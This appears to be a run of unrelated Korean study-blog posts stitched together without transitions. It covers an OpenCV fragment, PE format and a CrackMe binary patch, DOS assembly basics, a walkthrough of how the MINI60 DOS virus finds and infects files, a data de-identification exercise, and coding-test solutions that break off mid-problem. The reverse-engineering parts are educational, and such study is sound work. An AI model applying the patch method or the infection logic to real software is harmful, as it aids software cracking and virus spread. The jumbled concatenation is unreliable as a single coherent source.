그리기 함수와 ROI를 접목해 다음과 같이 이미지에서 라벨링하는 프로그램도 만들 수 있다. 마우스 이벤트 핸들러를 이용해서 각각의 마우스 버튼의 UP, DOWN과 MOVE를 감지하고 알맞은 코드를 실행할 수 있다. 위의 코드는 왼쪽 마우스 버튼이 눌리면 그리기 모드로 전환하고 움직이는 동안 임시 이미지에 사각형을 그려서 더하는 과정을 보여준다. 그리고 왼쪽 마우스 버튼을 떼면 레이블 이름과 해당 좌표값등의 정보를 입력받고 마지막으로 ROI를 표시해서 본 이미지에 나타내준다.

윈도우 PE 파일 포맷이란?

PE파일은 Portable Executable파일로, 실행 파일을 의미한다. 실행 파일의 구조는 다음과 같다. 출처: https://0xrick.github.io/win-internals/pe2/

PEview라는 도구를 이용해 CrackMe 1번 파일을 열어보게 되면 파일에 담겨있는 정보를 구조에 맞춰 보기 쉽게 나눠준다.

DOS_HEADER

DOS_HEADER에는 파일의 시그니처와 EXE Header의 Offset정보가 담겨있다.

• 파일 시그니처란 파일 내용을 식별하거나 확인하는 데 사용할 수 있는 파일 형식에 따른 고유의 포맷을 의미한다.

EXE Header의 Offset값인 0x100으로 가보면 PE라고 명시하고 있는 것을 볼 수 있다.

실행 파일은 무조건 MZ, PE를 가지며 이 중 하나라도 손상된다면 실행되지 않는다.

DOS_Stub

DOS_Stub은 MS-DOS프로그램 코드이다. 파일마다 어떤 운영체제에서 실행해야 하는지, 도스 환경에서 실행할 수 있는지 불가능한지 등의 정보를 나타낸다. 현재 이 파일은 Win32환경에서 실행해야 한다고 명시되어있다.

NT HEADERS

NT HEADERS는 파일의 시그니처와 파일 헤더, 옵셔널 헤더가 있다. 파일 헤더에서는 섹션의 개수 등의 정보를 포함하고 있다. 옵셔널 헤더는 중요한 정보가 많은데, 첫 번째로 Image Base는 프로그램이 메모리상에 올라갔을 때 위치하는 주소이다. Address of Entry Point는 메모리 상에서 헤더 등을 제외하고 실제 프로그램의 내용이 위치한 곳의 주소인데, Image Base를 기준으로 한 상대주소이다. 즉 이 프로그램의 실제 주소는 0x400000에 0x1000을 더한 0x401000이 되는 것이다.

SECTION HEADER

다음은 섹션 헤더이다. 섹션 헤더에는 각 섹션에 대한 정보가 들어있으며, 해당 섹션이 메모리에 로드될 때 변하는 정보들이 들어있다.

여기서 중요한 것이 Offset과 RVA, 그리고 VA이다.

Offset은 파일에서의 실제 위치를 뜻하고 RVA는 메모리 상의 상대주소, 마지막으로 VA는 메모리 상의 절대주소를 뜻한다.

이 헤더는 SECTION CODE의 헤더이다. Name은 섹션의 이름이고 Virtual Size는 해당 섹션이 메모리에서 차지하는 크기이다. Size of Raw Data는 파일에서 해당 섹션의 실제 크기를 의미하고 Pointer to Raw Data는 파일에서 해당 섹션의 시작 Offset을 의미한다.

이러한 정보를 바탕으로 디버거를 통해 각종 정보를 확인해보자.

CrackMe 실습

x64dbg 실행

수업 당시 실습은 ollydbg로 진행하였지만 다른 디버거도 사용해보고 싶어서 x64dbg로 진행해보기로 했다.

단축키는 ollydbg와 거의 유사한 것 같아서 따로 알아보지 않고 진행했다.

우선 CrackMe1번을 로드했다.

불러온 후 RUN을 한번 눌러주면 해당 파일의 엔트리 포인트로 이동시켜준다.

이제 각 위치를 살펴보자.

우선 이 파일의 이미지 베이스가 0x400000인지 확인해보자.

해당 주소를 확인해보니 정확하게 파일의 시작 지점이 들어가 있는 것을 볼 수 있다. 엔트리 포인트가 0x1000이었고, 0x401000을 확인해보면 파일의 진짜 데이터들이 들어가 있는 것을 확인할 수 있다.

여기서 한 가지 주의할 점은 엔트리 포인트가 코드의 메인은 아니라는 점이다. 메인이 아니더라도 엔트리 포인트일 수 있고, 이번 경우에는 우연히 둘이 일치한 것 뿐이다.

프로그램을 한 줄씩 실행시키면서 가보자.

윈도우 API인 MessageBoxA를 호출한 후 정상적으로 메시지 박스가 잘 나온다.

크랙미 1번은 하드 디스크를 CD-ROM으로 위장시키는 문제이다. GetDriveTypeA를 통해 현재 디스크의 타입을 반환한다.

https://learn.microsoft.com/ko-kr/windows/win32/api/fileapi/nf-fileapi-getdrivetypea

위 링크를 참조하면 해당 API의 정보가 나오는데, 해당 함수가 호출되면 반환값은

다음 중 하나이다. 해당 함수가 호출된 이후 반환값은 EAX레지스터에 저장되기 때문에 값을 살펴보면 3이 들어가 있고 이는

DRIVE_FIXED
3
드라이브에 고정 미디어가 있습니다. 예를 들어 하드 디스크 드라이브 또는 플래시 드라이브입니다.

을 의미한다.

구조를 보면 EAX와 ESI에 특정 연산을 진행한 이후 비교했을 때 둘이 같다면 0x40103D로 점프하는 구문이다.

점프하는 위치에는

CD-ROM이 맞다는 메시지박스를 띄우는 구문이 존재하고 현재 프로그램은

EAX와 ESI가 같지 않기 때문에 점프를 하지 않게 된다. 즉, 만약 CD-ROM에 해당하는 값으로 리턴이 된다면 점프를 하는 것으로 보인다. 이 문제를 풀기 위해서는 해당 점프 구문의 JE를 JNE로만 바꿔주면 된다.

해당 구문을 바꾼 후 실행해보자. 정상적으로 잘 우회한 모습이다. 이제 실제 파일을 크랙해보자.

아까 위에서 파일의 실제 Offset과 메모리 상의 주소는 다르다고 했었는데, 현재 메모리상의 절대주소, 즉 VA가 0x401026이다. 위에서 본 이 파일의 Image Base가 0x400000이었기 때문이 해당 주소의 RVA는 0x1026이다.

이제 RVA를 Offset으로 변환시켜주면 실제 파일에서 저 구문의 위치를 알 수 있게 되는데, 섹션 헤더를 보면 RVA가 0x1000이고 Virtual Size가 0x1000이므로 0x1000부터 0x1000만큼의 영역, 즉 0x1000 ~ 0x1fff를 의미한다.

0x1026은 이 영역에 해당하기 때문에 Pointer to Raw Data와 RVA의 차이를 구한 후 해당 값을 이용해 계산하면 된다.

차이가 0xA00이므로 0x1026에서 0xA00를 빼준다. 0x626이 해당 구문의 파일에서의 실제 Offset임을 알 수 있다. 그렇다면 이제 HxD를 이용해서 해당 파일을 크랙해보자.

실제로 잘 있는 것을 볼 수 있다. 이제 저 값을 0x74에서 0x75로 바꾼 후 저장해보자. 성공적으로 크랙을 완료하였다.

60바이트 크기의 MINI60이 분석할 악성코드 파일이다.

분석

지난 글에서 사용한 debug툴로 MINI60파일을 열어보자. 우선 분석을 시작하기 전에 SI레지스터를 0x100로 이동시켜야 한다. MINI60이라는 악성코드 자체의 확장자가 원래 .com파일이고, .com파일의 기본 SI는 0x100이기 때문이다.

코드를 한줄 한줄 실행시켜가면서 분석해보자. 코드를 실행시키다보니 INT 21, 인터럽트를 실행시키는 코드가 등장했다. 이전 글에서 언급했듯이 INT는 AH레지스터의 값으로 종류를 구분하기 때문에 INT 21,4E에 대해 찾아보자.

뭔가 조건에 맞는 첫 번째 파일을 찾는 인터럽트처럼 보인다. DX레지스터에 저장된 값을 와일드카드를 포함한 아스키 파일 규격의 포인터로 사용하는 것 같다. 즉, 해당 레지스터에 저장된 값이 일종의 파일 이름 정규표현식 역할을 하는 것이다. 어떤 파일을 찾는지 확인해보자. *.*즉, 모든 파일 형식을 찾는 것을 알 수 있다.

파일을 찾는 데 실패하면 캐리 플래그가 SET되며 AX레지스터에 에러코드를 반환하고, 파일을 찾는 데 성공하면 DTA라는 구조로 해당 파일의 정보를 반환하는 것 같다.

DTA의 구조를 살펴보자. 기본적으로 DTA의 오프셋은 0x80이고, 해당 오프셋으로부터 Ox1E번째 오프셋에 찾고자 하는 파일의 이름이 존재하는 것 같다. 그렇다면 0x9E오프셋에 해당 파일 이름이 존재하는 것이기 때문에 해당 주소의 값을 살펴보자. MIN60폴더 내부의 MINI60악성코드를 제외한 1234라는 이름의 파일을 찾아낸 것을 볼 수 있다. Ox9A에는 해당 파일의 사이즈도 저장되어 있는 것 같으니 확인해보자. 실제로 1234파일은 5바이트짜리 파일이기 때문에 정상적으로 잘 저장이 된 것을 확인할 수 있다.

지금까지 악성코드의 실행 방식은 해당 폴더 내부에서 *.*형식에 알맞은 첫 번째 파일을 찾는 것이다.

또다시 인터럽트가 등장했다. 이번엔 INT 21,3D를 찾아보자. 이번엔 핸들을 이용해서 해당 파일을 오픈하는 인터럽트인 것 같다. 현재 AL이 0x02이므로 읽기 및 쓰기 모드로 연 것을 알 수 있고, DX에는 0x9E즉, 아까 확인했던 읽어온 파일의 이름이 들어가는 것을 볼 수 있다. 파일을 여는 데 성공한다면 AX에 해당 파일의 핸들을 리턴해주고 캐리 플래그가 set되지 않는다.

캐리 플래그가 발생하지 않을 것으로 보아 파일을 여는 데 성공했고, AX에 저장된 0x5는 해당 파일의 핸들임을 알 수 있다.

이번엔 INT 21,3F이다. 핸들을 이용해 파일이나 장치를 읽는 인터럽트같다. BX에 저장된 값을 파일 핸들로, CX에 저장된 값을 읽어올 바이트 수로, DX에 저장된 값을 읽어올 버퍼의 포인터로 사용한다. 현재 CX에는 OxFD가 저장되어 있는데, 이는 크게 의미있는 수치가 아니라 이 악성코드 제작자가 악성코드의 길이를 정확히 60바이트로 맞추려다보니 작성한 코드라고한다. DX에는 0x13C, 즉 메모리의 시작점부터 해당 악성코드가 차지하는 부분 바로 다음의 주소이다.

만약 파일을 읽는 데 성공한다면 읽어온 바이트 수를 AX에 리턴해주고 캐리를 발생시키지 않는다. 캐리가 여전히 NC인 것으로 보아 파일을 읽는 데 성공했고 읽어온 바이트 수는 5바이트인 것으로 보인다. 이 때, AX와 BX모두 0x5라는 값이 들어있지만, AX에 들어있는 값은 읽어온 바이트 수, BX에 들어있는 값은 파일의 핸들이다.

현재까지 이 악성코드는 감염시킬 파일을 찾고, 해당 파일의 정보를 메모리 상에서 자신이 차지하는 부분 바로 다음에 위치시키는 작용을 한다. 읽어온 부분의 데이터를 확인해보자. 1234파일의 내용인VIRUS를 잘 읽어온 것을 볼 수 있다.

다음에 실행하는 코드가 좀 특이한데, 읽어온 파일의 첫 부분이 0x2A로 시작하는지 검사한다. 이 악성코드 자체의 작용 메커니즘이 자가 복제 매커니즘이기 때문에 읽어온 파일이 이미 감염되었는지 확인하는 절차인 것이다. 중복 감염을 방지하는 로직이다.

이 부분에서 재밌는 부분이 나오는데, 우선 CX레지스터의 값을 XOR연산을 이용해 초기화시킨 후, MUL명령을 실핸하는데 MUL명령은 AX레지스터와 MUL의 첫 번째 오퍼랜드를 곱한 후 AX와 DX에 나눠서 저장하는 명령이다. 악성코드 작성자는 2바이트의 XOR과 2바이트의 MUL로 세 개의 레지스터를 모두 0으로 초기화시킨 것이다.

또 다시 인터럽트이다. INT 21,42를 확인해보자. 파일 포인터를 이동시키는 인터럽트이다. 파일을 읽어올 때 파일 포인터가 파일의 맨 끝으로 이동했기 때문에 해당 파일의 포인터를 맨 앞에 위치시켜 주는것이다.

INT 21,40을 살펴보자. DX에 저장된 값의 주소부터 CX에 저장된 값의 바이트 수 만큼 BX파일 핸들에 쓰는 인터럽트이다.

지금까지 이 악성코드의 작동 원리는 우선 *.*의 형식의 파일을 찾고, 해당 파일을 열어서 메모리 상 자신의 다음에 위치시킨 후, 중복 감염 여부를 조사하고 감염된 파일이 아니라면 파일 포인터를 파일의 맨 앞으로 이동시킨 후 DX에 저장된 값의 주소부터 CX에 저장된 값의 바이트 수 만큼 파일에 쓰는 원리이다.

이전의 파일을 성공적으로 감염시켰으니 조건에 맞는 다음 파일을 찾는 인터럽트를 실행한다. 다음에 찾은 파일을 확인해보니 0x9E에 자기 자신이 들어있는 모습을 볼 수 있다. 그렇다면 자기자신은 중복 감염 여부를 검사하는 로직에서 뭔가 다르게 작용할 것이다. 확인해보자.

Zero플래그가 SET되어 0x138로 점프한 것을 볼 수 있다. 이후 또 다시 다음 파일을 찾지만, 해당 폴더에 더 이상 파일이 없기 때문에 캐리 플래그가 발생하고 AX레지스터에 에러코드가 리턴된 것을 볼 수 있다. 해당 에러코드를 살펴보자. DOS에러코드에서 12는 NO more files, 즉 찾을 파일이 더 이상 없다는 것을 의미한다.

분석 결과

해당 악성코드는 같은 폴더 내의 *.*형식의 파일을 찾아 열어서 메모리 상에서 자신이 위치하는 다음 부분에 불러온 후 해당 파일의 첫부분을 검사해 중복 감염을 방지하고 감염된 파일이 아니라면 파일 포인터를 처음으로 이동시킨 후 자기 자신+해당 파일의 내용을 파일에 새로 써내서 복제하는 악성코드이다.

결과 확인

1234파일의 크기가 60 + 5, 65바이트로 증가했고 내부를 살펴보면 자기자신을 복제한 후 뒤에 해당 파일의 내용을 붙이는 식으로 감염시켰음을 알 수 있다. 해당 파일의 치료는 원래 파일의 내용 앞부분을 지우면 정상적으로 치료가 된다. 이렇게 수정하면 치료가 완료된 것이다.

악성코드란?

악의적인 목적을 위해 작성된 실행 가능한 코드를 의미한다. 악성코드는 다음의 종류들이 있다.

• 바이러스
• 웜
• 트로이 목마
• 스파이웨어
• 애드웨어
• 랜섬웨어
• 기타

악성코드의 역할

• Droppper: 생성
• Launcher: 실행
• Backddor: 연결
• Module: 각각의 악성 행위를 실행하는 악의적인 목적을 위해 작성된 실행 가능한 코드

악성코드 분석 실습

분석 툴

DOS환경에서 작동하는 debug툴을 이용하는데, 64bit환경에서 실행하기 위해서는 DOSBox를 설치해야 한다.

Debug 기본 사용법

현재 분석을 위한 툴과 악성코드의 경로가 C:\MINI이므로, mount c c:\mini명령어를 이용해 해당 폴더를 c:\로 마운드한다.

debug를 입력 후 정상적으로 실행되는지 확인한다.

debug에서 주로 사용할 명령어는 a, r, e, p, t, d 정도가 있다.

• a: 특정 주소에 어셈블리어를 작성하는 명령어
• r: 현재 레지스터의 값을 보는 명령어이지만 r뒤에 특정 레지스터를 입력하면 해당 레지스터의 값을 설정하는 명령어
• e: 특정 주소의 값을 edit하는 명령어
• p: proceed
• t: trace
• d: 특정 메모리에 있는 값을 확인하는 명령어

debug 플래그

주목할 플래그는 Zero, Carry정도가 있다.

명령어 실습

IP는 Instruction Pointer로 다음에 실행할 코드의 주소를 나타낸다. 현재 주소가 0x0100이므로 해당 주소에 코드를 작성하도록 하겠다.

MOV

MOV Dest, Src는 Dest에 Src값을 저장하는 코드이다.

MOV reg, reg
MOV reg, imm
MOV mem, reg
MOV reg, mem

MOV는 위의 형태로만 사용할 수 있다. 위의 코드는 0x1234를 bx레지스터에 넣고, ax레지스터에 bx레지스터 값을 넣고, 0x120주소에 bx레지스터 값을 넣고 cx레지스터에 0x120주소에 있는 값을 넣는 코드이다.

결과적으로 ax, bx, cx, 0x120에 모두 0x1234값이 들어간다.

0x120에 0x1234가 잘 들어있는지 확인해보자. 34 12의 형태로 데이터가 저장되어 있는데, 이것은 반대로 저장된 것이 아니라 리틀 엔디안 방식으로 저장되기 때문에 그렇다.

리틀 엔디안은 낮은 주소에 데이터의 낮은 바이트(LSB, Least Significant Bit)부터 저장하는 방식이다.

INC

INC는 오퍼랜드의 값을 1 증가 시킨다. 다음의 형태로만 사용 가능하다. 단, 메모리의 경우는 크기를 지정해야 한다.

• 4bit: nibble
• 8bit: byte
• 2byte: word
• 4byte: dword

INC reg
INC mem

bx레지스터의 값이 1만큼 증가한 것을 확인할 수 있다.

INC명령어를 이용해 Zero플래그의 변화를 관찰해보자. bx레지스터에 0xffff값을 저장한 후 1을 증가시켰더니 0으로 바뀌며 Zero플래그가 set되는 것을 볼 수 있다.

DEC

DEC의 경우, INC와 반대로 오퍼랜드의 값을 1 감소 시킨다.

bx를 1 감소 시켰더니 다시 0xffff가 되면서 Zero플래그가 NZ로, Sign플래그가 NG(Negative)로 변한 것을 볼 수 있다.

ADD

ADD는 첫 번째 오퍼랜드에 두 번째 오퍼랜드의 값을 더하여 저장하는 명령어이다. 다음의 형태로 사용할 수 있다.

ADD Dest, Src
ADD reg, reg
ADD reg, imm
ADD mem, reg
ADD mem, imm
ADD reg, mem

SUB

SUB는 첫 번째 오퍼랜드에서 두 번째 오퍼랜드의 값을 뺀 후 저장하는 명령어이다.

SUB Dest, Src
SUB reg, reg
SUB reg, imm
SUB mem, reg
SUB mem, imm
SUB reg, mem

CMP

CMP는 매우 중요한 명령어이다. 첫 번째 오퍼랜드에서 두 번째 오퍼랜드를 SUB연산 진행 후, 값이 같다면 결과가 0이 되면서 Zero플래그가 set된다. Zero플래그가 ZR로 바뀐 것을 볼 수 있다.

Jump Instructions

• jmp: 무조건 해당 주소로 점프
• jz, je: 제로 플래그가 1이면(결과가 0이면) 점프
• jnz, jne: 제로 플래그가 0이면(결과가 0이 아니면) 점프
• jc, jb: 캐리 플래그가 1이면(캐리가 발생하면) 점프
• jnc, jnb: 캐리 플래그가 0이면(캐리가 발생하지 않으면) 점프

CALL, RET

CALL은 해당 주소로 이동한 후 돌아올 주소를 스택에 저장한다. RET을 만나면 스택에 저장된 주소를 POP해서 해당 주소로 다시 이동한다. CALL명령어로 인해 Ox150주소로 이동한 상황이다. 스택 포인터를 살펴보면 fd에서 fb로 낮아진 모습을 볼 수 있다. 스택은 거꾸로 자라기 때문에 스택에 어떤 값이 들어가면 스택 포인터는 위로 이동한다. 스택에 있는 값을 확인해보자. 해당 스택의 주소에 0x103이 저장되어 있는 모습이다. 이것이 바로 RET를 만났을 때 되돌아 올 주소이다. RET를 만나서 0x103주소로 되돌아 온 모습이다.

PUSH, POP

PUSH는 첫 번째 오퍼랜드의 값을 스택에 저장하는 명령이고, POP은 스택에 마지막으로 저장된 값을 첫 번째 오퍼랜드에 저장하는 명령이다. PUSH를 세번 진행한 후 스택의 모습이다. 리틀 엔디안 방식으로 잘 저장되어 있는 것이 보인다. POP을 세번 진행하니 스택에 저장된 값이 모두 빠지고 첫 번째 오퍼랜드에 알맞은 값이 들어갔다.

AND, OR, XOR

AND, OR, XOR은 말 그대로 첫 번째 오퍼랜드와 두 번째 오퍼랜드를 각각의 비트연산을 진행한 후 첫 번째 오퍼랜드에 저장하는 명령이다.

값의 교환

mov cx, ax
mov ax, bx
mov bx, cx

xor ax, bx
xor bx, ax
xor ax, bx

push ax
push bx
pop ax
pop bx

xchg ax, bx

네 가지 모두 ax레지스터의 값과 bx레지스터의 값을 교환하는 코드이다. mov의 경우는 cx라는 레지스터를 추가로 이용해야 하는 단점이 있다.

INT

INT명령은 소프트웨어 인터럽트를 발생시키는 명령이다. http://stanislavs.org/helppc/idx_interrupt.html 소프트웨어 인터럽트의 종류를 볼 수 있는 사이트이다. 인터럽트 코드를 진행한 결과이다. 이 인터럽트가 어떤 인터럽트인지 알기 위해서는 위의 링크를 참고해야한다.

인터럽트는 기본적으로 AH레지스터의 값으로 종류를 구분하기 때문에 찾아야할 인터럽트는 int 1a,2이다. 실행한 인터럽트에 대한 설명이다. 현재 시간을 불러오는 인터럽트같다.

AH = 02

    on return:
    CF = 0 if successful
       = 1 if error, RTC not operating
    CH = hours in BCD
    CL = minutes in BCD
    DH = seconds in BCD
    DL = 1 if daylight savings time option

AH는 기본적으로 정해져있고, 만약 인터럽트를 실행하는 데 성공했다면 캐리 플래그에 0, 즉 캐리 플래그가 클리어 된다는 뜻이다.

CH에는 현재 시간이 리턴되고 CL에는 분, DH에는 초가 저장되는 것 같다. 위의 실행화면을 살펴보면 캐리 플래그가 NC이므로 성공적으로 현재 시간을 불러온 것을 알 수 있고, CX와 DX를 참고해보면 해당 인터럽트는 22시 56분 41초에 실행한 것을 알 수 있다.

개인정보 비식별 자동화 기술 개발

1차 : 개인정보 비식별 기술을 적용하여 가명/익명처리를 수행하라! 2차 : 제공된 데이터셋을 분석하여 도전주제에 맞춘 비전기술을 개발하라!

7주차에 진행된 챌린지는 1차 미니 챌린지로, 개인정보 비식별 기술을 적용하여 가명/익명처리를 수행하는 것이다.

챌린지 운영

챌린지 배경

• 국내 대표 OTT 회사인 W사는 서비스를 이용하는 고객들의 만족도 개선을 위해 구독자 추천 서비스 개발을 전문업체에 의뢰하고자 합니다.
• 고객들의 영화 상영 및 만족도 정보를 포함하고 있는 데이터를 해당 업체에 제공하려 하는데, 개인정보 전문가에 의뢰한 결과 데이터 내 개인정보가 포함되어 가명/익명 처리가 필요한 상황입니다.
• 컬럼별 가명/익명 처리 요구사항을 확인한 후, 적절한 기술을 적용해 요구된 모든 컬럼에 대한 가명/익명 처리를 수행해 주시기 바랍니다.

데이터셋

• data.csv: 비식별 처리해야 하는 데이터 (실제 개인정보가 아닌, 무작위로 만든 개인정보이다.)

챌린지 진행

데이터 모양 확인

데이터의 인코딩 형식이 utf-8이 아닌 cp949형식이기 때문에, pandas로 데이터를 불러올 때, 인코딩 인자를 따로 주어야 한다.

import pandas as pd
data = pd.read_csv('data.csv', encoding='cp949')
data.head()

요구사항에 따라 데이터 비식별 전략 세우기

• 회원번호: 컬럼 전체 삭제 - 삭제
• 이름: 휴리스틱 가명화 - 대체
• 이메일: 마스킹 - 삭제 and 대체
• 나이: 라운딩 - 요약
• 생년월일: 범주화 - 요약
• 주소: 범주화 - 요약

각각의 모듈 생성

• 대체 모듈

  import math
  import random
  

class Replacing:

def replacing_birthdate(self, data):
    # 1996-01-01 -> 1990년 01월
    year = math.floor(int(data.split('-')[0]) / 10) * 10
    month = data.split('-')[1]
    return str(year) + '년 ' + month + '월'

def heuristic_pseudonymization_name(self, data):
    # 성별이 '남'이면 다음 중 하나로 변경
    # 홍길동, 임꺽정, 장길산, 이몽룡, 한석봉
    # 성별이 '여'이면 다음 중 하나로 변경
    # 성춘향, 황진이, 장희빈, 신사임당, 허난설헌
    male_names = ['홍길동', '임꺽정', '장길산', '이몽룡', '한석봉']
    female_names = ['성춘향', '황진이', '장희빈', '신사임당', '허난설헌']

    # 0~4 사이의 랜덤 정수 생성
    random_index = random.randint(0, 4)

    if data == '남':
        return male_names[random_index]
    else:
        return female_names[random_index]

생년월일을 연도와 월까지 표시하는 것으로 요약하였다. 범주는 대체에 들어가는데, 챌린지 당시 대체 모듈에 넣었었다...(이유는 잘 모르겠다.)
이름 정보를 휴리스틱 가명화 진행하였다. 남성과 여성을 구분해서 잘 알려진 이름들 5개중 랜덤으로 배정하였다. 처음에는 `Faker`모듈을 이용해 랜덤으로 변환했었다가, 휴리스틱 가명화가 아닌 것 같아서 다시 구현하였다. (본 코드에 주석처리 되어있다.)

- 범주화 모듈
```python
class Categorization:

    # 주소 범주화 (시/도 + 시/군/구)
    def categorization_address(self, data):
        return data.split(' ')[0] + ' ' + data.split(' ')[1]

'충청북도 여주시 도산대080가 → 충청북도 여주시'의 형태로 범주화하였다.

• 마스킹 모듈

  class Masking:
  
    def masking_email(self, data):
  
        id = data.split('@')[0]
        # id의 첫 번째 문자를 제외한 나머지 문자를 '*'로 치환
        id = id[0] + '*' * (len(id) - 1)
        # id와 도메인을 '@'로 연결
        return id + '@' + data.split('@')[1]

  이메일의 계정부분 첫 글자만 제외하고 *로 마스킹처리 하였다.

• 라운딩 모듈

  import math
  

class Rounding:

def rounding_age(self, data):

    # round down and concatenate string
    data = int(math.floor(int(data) / 10.0)) * 10
    data = str(data) + '세'
    return data

나이를 라운딩한 후 뒤에 '세'를 붙여 범주화하였다.

### 메인 코드
```python
import pandas as pd
from privacy.masking import Masking
from privacy.replacing import Replacing
from privacy.rounding import Rounding
from privacy.categorization import Categorization
from faker import Faker
from tqdm import tqdm
import warnings

warnings.filterwarnings('ignore')

masking = Masking()
replacing = Replacing()
rounding = Rounding()
categorization = Categorization()
faker = Faker("ko_KR")

data = pd.read_csv('data.csv', encoding='cp949')

# 회원번호 삭제
data.drop('회원번호', axis=1, inplace=True)

# 이름 무작위 변경
# for i in tqdm(range(len(data))):
#     original_name = data['이름'][i]
#     if data['성별'][i] == '남':
#         data['이름'][i] = faker.name_male()
#     else:
#         data['이름'][i] = faker.name_female()

# 이름 휴리스틱 가명화
data['이름'] = data['성별'].apply(replacing.heuristic_pseudonymization_name)

# 이메일 마스킹 (abcdefg@naver.com → ****@naver.com)
data['이메일'] = data['이메일'].apply(masking.masking_email)

# 나이 제어 라운딩 (나이 15 → 10대)
data['나이'] = data['나이'].apply(rounding.rounding_age)

# 생년월일 형식 변경 (yyyy-mm-dd → yyy0년 mm월)
data['생년월일'] = data['생년월일'].apply(replacing.replacing_birthdate)

# 주소 범주화 (충청북도 여주시 도산대080가 → 충청북도 여주시)
data['주소'] = data['주소'].apply(categorization.categorization_address)

# 결과 확인
print(data.head(10))

# 결과 저장
data.to_csv('[KDT_AISEC_1기] 개인정보 비식별 1차 미니 챌린지_[이름]_v0.1_cp949.csv', encoding='cp949', index=False)
data.to_csv('[KDT_AISEC_1기] 개인정보 비식별 1차 미니 챌린지_[이름]_v0.1_utf-8-sig.csv', encoding='utf-8-sig', index=False)

비식별 처리 이후 결과물의 일부이다.

문자열 my_string과 정수 배열 indices가 주어질 때, my_string에서 indices의 원소에 해당하는 인덱스의 글자를 지우고 이어 붙인 문자열을 return 하는 solution 함수를 작성해 주세요.

문제 풀이

문제 조건 정리

이 문제는 단순하게 생각하면 my_string에서 indices에 들어있는 값들을 인덱스로 취급했을 때, 해당하는 값들을 삭제하는 문제이다. 그러나 이 문제를 풀이할 때 단순히 문자열이나 리스트에서 인덱스에 해당하는 값들을 삭제하게 되면 문자열의 해당 인덱스에 공백이나 다른 값으로 채워 넣지 않는 한 앞 뒤 값들이 붙으면 indices의 인덱스들이 의미가 없어지는 현상이 발생한다. 따라서 이 문제는 삭제하는 값을 특정 값으로 대체한 후 마지막에 해당 값만 삭제하거나, indices를 정렬한 후, 뒤에서부터 제거하는 방법을 사용해야 한다.

코드 작성

def solution(my_string, indices):

    # string to list
    string_list = list(my_string)

    # indices에 들어있는 인덱스를 앞에서부터 제거하게 되면 그만큼 my_string에 변화가 생기기 때문에,
    # indices를 내림차순 정렬 후 뒤에서부터 제거한다.

    # indices 내림차순 정렬
    indices.sort()
    indices.reverse()

    for idx in indices:
        del string_list[idx]

    return ''.join(string_list)

문자열 슬라이싱을 이용하면 조금 더 편하게 할 수도 있지만, 리스트를 이용할 경우 위의 방법으로 진행하면 인덱스를 내림차순 정렬한 후 뒤에서부터 값을 제거하기 때문에 앞의 문자열의 구조가 변하지 않는다.

문자열 my_string과 이차원 정수 배열 queries가 매개변수로 주어집니다. queries의 원소는 [s, e] 형태로, my_string의 인덱스 s부터 인덱스 e까지를 뒤집으라는 의미입니다. my_string에 queries의 명령을 순서대로 처리한 후의 문자열을 return 하는 solution 함수를 작성해 주세요.

문제 풀이

문제 조건 정리

queries의 형태: [[s, e], [s, e], ...] my_string[s] 부터 my_string[e]까지 뒤집는 작업을 반복

코드 작성

def solution(my_string, queries):

    for query in queries:
        my_string = my_string[:query[0]]+(my_string[query[0]:query[1]+1])[::-1]+my_string[query[1]+1:]

    return my_string

문자열 슬라이싱을 이용해서 s와 e에 해당하는 query[0]부터 query[1]까지의 문자열을 뒤집어서 붙여주었다.

음이 아닌 정수를 9로 나눈 나머지는 그 정수의 각 자리 숫자의 합을 9로 나눈 나머지와 같은 것이 알려져 있습니다. 이 사실을 이용하여 음이 아닌 정수가 문자열 number로 주어질 때, 이 정수를 9로 나눈 나머지를 return 하는 solution 함수를 작성해주세요.

문제 풀이

문제 조건 정리

음이 아닌 정수를 9로 나눈 나머지 == 그 정수의 각 자리 숫자의 합을 9로 나눈 나머지

코드 작성

우선 수를 각 자리의 숫자 단위로 다루려면 문자열로 변환시키는게 편하다.

def solution(number):
    # 각 자리 숫자의 합을 저장할 변수 sum
    sum = 0

    for num in str(number):
        sum += int(num)

    answer = sum % 9
    return answer

문자열로 변환한 후에 각 자리의 숫자를 추출 후, 다시 int형으로 바꿔서 더한 후 합계를 9로 나눈 나머지를 리턴해주었다.

1부터 6까지 숫자가 적힌 주사위가 네 개 있습니다. 네 주사위를 굴렸을 때 나온 숫자에 따라 다음과 같은 점수를 얻습니다.

네 주사위에서 나온 숫자가 모두 p로 같다면 1111 × p점을 얻습니다. 세 주사위에서 나온 숫자가 p로 같고 나머지 다른 주사위에서 나온 숫자가 q(p ≠ q)라면 (10 × p + q)2 점을 얻습니다. 주사위가 두 개씩 같은 값이 나오고, 나온 숫자를 각각 p, q(p ≠ q)라고 한다면 (p + q) × |p - q|점을 얻습니다. 어느 두 주사위에서 나온 숫자가 p로 같고 나머지 두 주사위에서 나온 숫자가 각각 p와 다른 q, r(q ≠ r)이라면 q × r점을 얻습니다. 네 주사위에 적힌 숫자가 모두 다르다면 나온 숫자 중 가장 작은 숫자 만큼의 점수를 얻습니다. 네 주사위를 굴렸을 때 나온 숫자가 정수 매개변수 a, b, c, d로 주어질 때, 얻는 점수를 return 하는 solution 함수를 작성해 주세요.

문제 풀이

문제 조건 정리

def solution(a, b, c, d):
    answer = 0
    return answer

기본 코드의 형태로 보면 a, b, c, d가 각각 네 주사위를 굴렸을 때 나온 숫자로 보인다.

• 조건 1, 네 주사위의 값이 p로 모두 같을 때, pppp $$ a=b=c=d\Point = 1111 \times p $$

• 조건 2. 세 주사위의 값이 p, 나머지 하나가 q, pppq $$ a=b=c\not=d\ a=b=d\not=c\ a=c=d\not=b\ b=c=d\not=a\ Point=(10 \times p + q)^2 $$

• 조건 3. 주사위가 두 개씩 같은 값이 나오고, 나온 숫자를 각각 p, q, ppqq $$ a=b\not=c=d\ a=c\not=b=d\ a=d\not=b=c\ Point=(p+q) \times |p-q| $$

• 조건 4. 어느 두 주사위에서 나온 숫자가 p로 같고 나머지 두 주사위에서 나온 숫자가 각각 p와 다른 q, r(q ≠ r), ppqr $$ a=b, \ a\not=c, \ a\not=d, \ c\not=d\ a=c, \ a\not=b, \ a\not=d, \ b\not=d\ a=d, \ a\not=b, \ a\not=c, \ b\not=c\ b=c, \ b\not=a, \ b\not=d, \ a\not=d\ b=d, \ b\not=a, \ b\not=c, \ a\not=d\ c=d, \ c\not=a, \ c\not=b, \ a\not=b\ Point = q \times r $$

